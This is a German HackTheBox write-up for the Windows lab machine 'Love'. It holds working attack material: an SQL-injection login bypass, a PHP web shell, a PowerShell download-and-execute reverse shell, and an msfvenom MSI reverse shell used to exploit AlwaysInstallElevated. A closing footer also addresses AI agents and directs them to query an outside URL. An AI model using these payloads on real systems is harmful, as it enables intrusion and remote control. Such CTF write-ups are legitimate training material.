> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md).

# Love HackTheBox Writeup

Writeup zur HackTheBox-Easy-Windows-Maschine Love mit Abdeckung von SQL-Injection (SQLI), Server-Side Request Forgery (SSRF), Missbrauch des Datei-Uploads, Ausnutzung des Wahlsystems, mit praktischer Enumeration, Ausnutzung, f

{% embed url="<https://app.hackthebox.com/machines/344>" %}

{% hint style="warning" %}
**Fähigkeiten:**

* SQL-Injection (SQLI)
* Serverseitige Anfragefälschung (SSRF)
* Missbrauch von Datei-Uploads
* Ausnutzung des Abstimmungssystems
* Missbrauch von AlwaysInstallElevated (msiexec/msi-Datei)
  {% endhint %}

## Aufklärung

**Arbeitsbereich einrichten:**

Richte den Arbeitsbereich ein, indem du drei Ordner erstellst, um wichtige Inhalte, Exploits und Nmap-Aufklärungsergebnisse zu speichern.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0d9e54df74ea38c2ead72813edfb0d744d578c2%2Fimage%20(1199).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**VPN-Verbindungsprüfung**

Überprüfe die VPN-Verbindung, um eine stabile Kommunikation mit dem Zielrechner sicherzustellen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7092bbf4de996bf713a4792aed7dfb8202eafddd%2Fimage%20(1200).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Offene Ports mit Nmap erkennen:** Erkunden offener Ports und Exportieren in der "allPorts"-Datei im Nmap-Verzeichnis:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.239 -oG allPorts
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a216b61d5b58b79fd9f2a5bb3144310865434426%2Fimage%20(1201).png?alt=media" alt=""><figcaption></figcaption></figure>

**Analyse offener Ports mit extractport:** Verwendung der extractport-Funktion, um offene Ports in kompakter Form anzuzeigen und sie in die Zwischenablage zu kopieren.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-79b9ffe963da4696adf5a34ceb9212824fd39919%2Fimage%20(1202).png?alt=media" alt=""><figcaption></figcaption></figure>

**Versionsscan von Ports mit Nmap:** Verwendung von Nmap, um die Versionen der Ports zu scannen und Informationen in der Datei "targeted" zu extrahieren:

```bash
nmap -sCV -p80,135,139,443,445,3306,5000,5040,5985,5986,7680,47001,49664,49665,49666,49667,49668,49669,49670 10.10.10.239 -oN targeted
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-68d02ab71f7459e058e046f215dbb1fcbf5812ed%2Fimage%20(1204).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2c0367a57e60a7bbcd69dc232488ef98857d676b%2Fimage%20(1205).png?alt=media" alt=""><figcaption></figcaption></figure></div>

Um Domainnamen über DNS in IP-Adressen aufzulösen, wird der mit der IP-Adresse verknüpfte Domainname in die `/etc/hosts` Datei

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be2bf8202ac60dee616cb3d279d29149a74d9a29%2Fimage%20(1206).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Suche nach Verzeichnissen:**

Wir verwenden Gobuster, um auf der Website nach Verzeichnissen zu suchen:

```bash
gobuster dir -u http://love.htb -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 100
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dc8dd7b5b54f745782fb4bcad9bd5bded32f7210%2Fimage%20(1207).png?alt=media" alt=""><figcaption></figcaption></figure>

In dem `admin` Verzeichnis, wir entdecken ein Verwaltungsportal.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3411d3cbb7fb8f0f3639d3519571434a90ba1192%2Fimage%20(1212).png?alt=media" alt=""><figcaption></figcaption></figure>

## Ausnutzung des Abstimmungssystems:

In diesem Fall gibt es zwei Möglichkeiten, das Verwaltungspanel des Abstimmungssystems zu bedienen:

### 1. SSRF-Schwachstelle:

Port 443 offenbart ein `staging.love.htb` Subdomain, die wir zu unserer `/etc/hosts` Datei vorhanden sind.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1931706887f9841b21d0d6b7f29523e5be282467%2Fimage%20(1223).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Diese Website kann Websites über eine URL scannen.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-16159e0873e57e339ec7344797e6dc6076818a3f%2Fimage%20(1224).png?alt=media" alt=""><figcaption></figcaption></figure>

Durch Scannen `localhost:5000` (von außen nicht verfügbar), entdecken wir Zugangsdaten:

`admin: @LoveIsInTheAir!!!!`

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a230bd7b19475a5505f4f6554144f49077e299c6%2Fimage%20(1225).png?alt=media" alt=""><figcaption></figcaption></figure>

Hinweis: Von außen wird die Meldung "Sie haben keine Berechtigung, auf diese Ressource zuzugreifen." angezeigt, wodurch der Zugriff blockiert wird.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-83c70497eee1b1d32467fdf409bae1203e05a695%2Fimage%20(1226).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **2. SQL-Injection-Schwachstelle (**[**SQLi**](/de/web/sql-injection.md)**) :**

Mit `searchsploit` wir suchen nach spezifischen Schwachstellen des Abstimmungssystems und finden die folgende Nutzlast:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-69caec2ec109bcf27c521aec3f820e6ef43e4dfd%2Fimage%20(1214).png?alt=media" alt=""><figcaption></figcaption></figure>

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f6c270a2781a9894f568af94d864720c7c09ef3e%2Fimage%20(1213).png?alt=media" alt=""><figcaption></figcaption></figure></div>

`login=yea&password=admin&username=dsfgdf' UNION SELECT 1,2,"$2y$12$jRwyQyXnktvFrlryHNEhXOeKQYX7/5VK2ZdfB9f/GcJLuPahJWZ9K",4,5,6,7 from INFORMATION_SCHEMA.SCHEMATA;-- -`

Mit Burp Suite greifen wir auf das Dashboard zu.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a11478f773425fc1fd5f92ea27a35f171d62c4a4%2Fimage%20(1216).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2465297876a648226ae8b2ddca35b65c34c1cdd0%2Fimage%20(1215).png?alt=media" alt=""><figcaption></figcaption></figure>

## Schwachstelle Datei-Upload:

Im Dashboard gibt es eine Option, mit der Sie einen neuen Benutzer erstellen können. Wir erstellen eine `cmd.php` Datei, um Befehle auf dem Server auszuführen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5dcb47f06c24a35986518516e5fb0c6693e932f%2Fimage%20(1217).png?alt=media" alt=""><figcaption></figcaption></figure>

```bash
<?php
echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>";
?>
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-8cded7ddf5e3ae897621458ad77622a4d8cbb543%2Fimage%20(1218).png?alt=media" alt="" width="482"><figcaption></figcaption></figure>

Das Panel führt keine Sicherheitsprüfungen durch, sodass wir Befehle einschleusen können (z. B. `whoami`). Durch das Testen eines Ping-Befehls prüfen wir die Verbindung:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-70ba923cfd9ab276dd27325ab502f1d73045d369%2Fimage%20(1219).png?alt=media" alt=""><figcaption></figcaption></figure>

wir prüfen, ob es einen Ping

<pre class="language-bash"><code class="lang-bash">ping 10.10.14.10
<strong>tcpdump -i tun0 icmp
</strong></code></pre>

Da wir die Antwort erhalten, bestätigen wir die Möglichkeit, Befehle auf der Zielmaschine auszuführen

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-dbf41f4b22e1af966392f86f0d0ce45be68c4677%2Fimage%20(1220).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**PowerShell-Befehl für eine Reverse Shell**

Sobald wir sehen, dass wir Befehle ausführen können, werden wir das `PS.ps1` Skript auf unseren Rechner herunterladen.

{% embed url="<https://raw.githubusercontent.com/samratashok/nishang/refs/heads/master/Shells/Invoke-PowerShellTcp.ps1>" %}

Am Ende des Skripts fügen wir die folgende Zeile hinzu:

```bash
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.10 -Port 4444
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bd9035f1d58ec22d463d2aeaba37c58e0c399f4d%2Fimage%20(1221).png?alt=media" alt=""><figcaption></figcaption></figure>

Wir werden einen Webserver mit dem `PS.ps1` Script

```bash
python3 -m http.server 80
```

Dann werden wir den Befehl so ändern, dass er auf unseren Webserver verweist:

{% code overflow="wrap" %}

```bash
powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.10/PS.ps1')"
```

{% endcode %}

Schließlich lauschen wir auf Port 4444:

```bash
rlwrap nc -nlvp 4444
```

<div data-full-width="true"><figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c5ac9fe74f29992f5bd15872156b66be55a3dc05%2Fimage%20(1025).png?alt=media" alt=""><figcaption></figcaption></figure></div>

### Flagge user.txt:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-7095aa6d2dd7221f5dc47589fee264b512f5e758%2Fimage%20(1222).png?alt=media" alt=""><figcaption></figcaption></figure>

## Privilegieneskalation:

### **Enumeration mit winPEASx64.exe** <a href="#enumeration-with-winpeasx64.exe" id="enumeration-with-winpeasx64.exe"></a>

Um eine Privilegieneskalation auf einem Windows-Server durchzuführen, führen Sie zunächst das `winPEAS` Aufklärungstool aus.

{% embed url="<https://github.com/peass-ng/PEASS-ng/releases/tag/20220214>" %}

Herunterladen des Aufklärungstools WIN-peacex64.exe.

```purebasic
certutil.exe -f -urlcache -split http://10.10.14.10/winPEASx64.exe winPeas.exe
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-0a9743051dc095176e3a3c8ef159c01a51586a73%2Fimage%20(2328).png?alt=media" alt=""><figcaption></figcaption></figure>

```powershell
./winPEAS.exe
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d15619f178525c4f0a797ccc8311acf8efdb6782%2Fimage%20(2330).png?alt=media" alt=""><figcaption></figcaption></figure>

### Prüfen von AlwaysInstallElevated

Das `winPEAS` Das Tool überprüft verschiedene Sicherheitsinstellungen des Systems. Besonders interessant ist der `AlwaysInstallElevated` Registrierungsschlüssel. Wenn dieser Schlüssel auf `1` in `HKLM` (HKEY/ LOCAL/ MACHINE) gesetzt ist, bedeutet dies, dass alle `.msi` Dateien mit erhöhten Rechten installiert werden können, was eine Schwachstelle darstellt.

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-2258ba95e1950623db76d0de21d891568ae5db44%2Fimage%20(2332).png?alt=media" alt=""><figcaption></figcaption></figure>

{% embed url="<https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated>" %}

**Erstellen Sie eine .msi-Datei, um eine Reverse Shell zu erhalten**

Um diese Schwachstelle auszunutzen, erstellen wir eine `.msi` Datei, die uns nach der Ausführung eine Reverse Shell bereitstellt. Wir verwenden `msfvenom` zum Generieren dieser Datei:

```bash
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.10 LPORT=443 --platform windows -a x64 -f msi -o reverse.msi
```

**Übertragung der .msi-Datei**/ Datei Nachdem wir die Datei erstellt haben, müssen wir sie auf die Zielmaschine übertragen:

```bash
certutil.exe -f -urlcache -split http://10.10.14.10/reverse.msi reverse.msi
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed0c855985976ed82675c4547b2a5e4d1e7a7c21%2Fimage%20(2333).png?alt=media" alt=""><figcaption></figcaption></figure>

**Auf Port 443 lauschen**/ Bevor wir die `.msi` Datei ausführen, müssen wir an dem von uns angegebenen Port lauschen. Lassen Sie uns `nc` (netcat) dafür verwenden:

```powershell
rlwrap nc -nlvp 443
```

**Ausführung des Installationsbefehls**/ Schließlich führen wir die `.msi` Datei mit `msiexec`, wodurch die stille Installation ausgelöst wird:

```powershell
msiexec /quiet /qn /i reverse.msi
```

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9b28d83a925bae2e25fb4c4b5795935553aea299%2Fimage%20(2334).png?alt=media" alt=""><figcaption></figcaption></figure>

### Root-Flag :)

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7209939d8b64e1448eddbcc36ca23ffe24c7003%2Fimage%20(2335).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fe4cfcd5342a6e24839029b99d99b4fd92075ff5%2F%7BEBDB5A49-677A-4F86-9619-69F0AC95E833%7D.png?alt=media" alt="" width="524"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/de/writeups-ctf/hackthebox/windows-easy/love-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
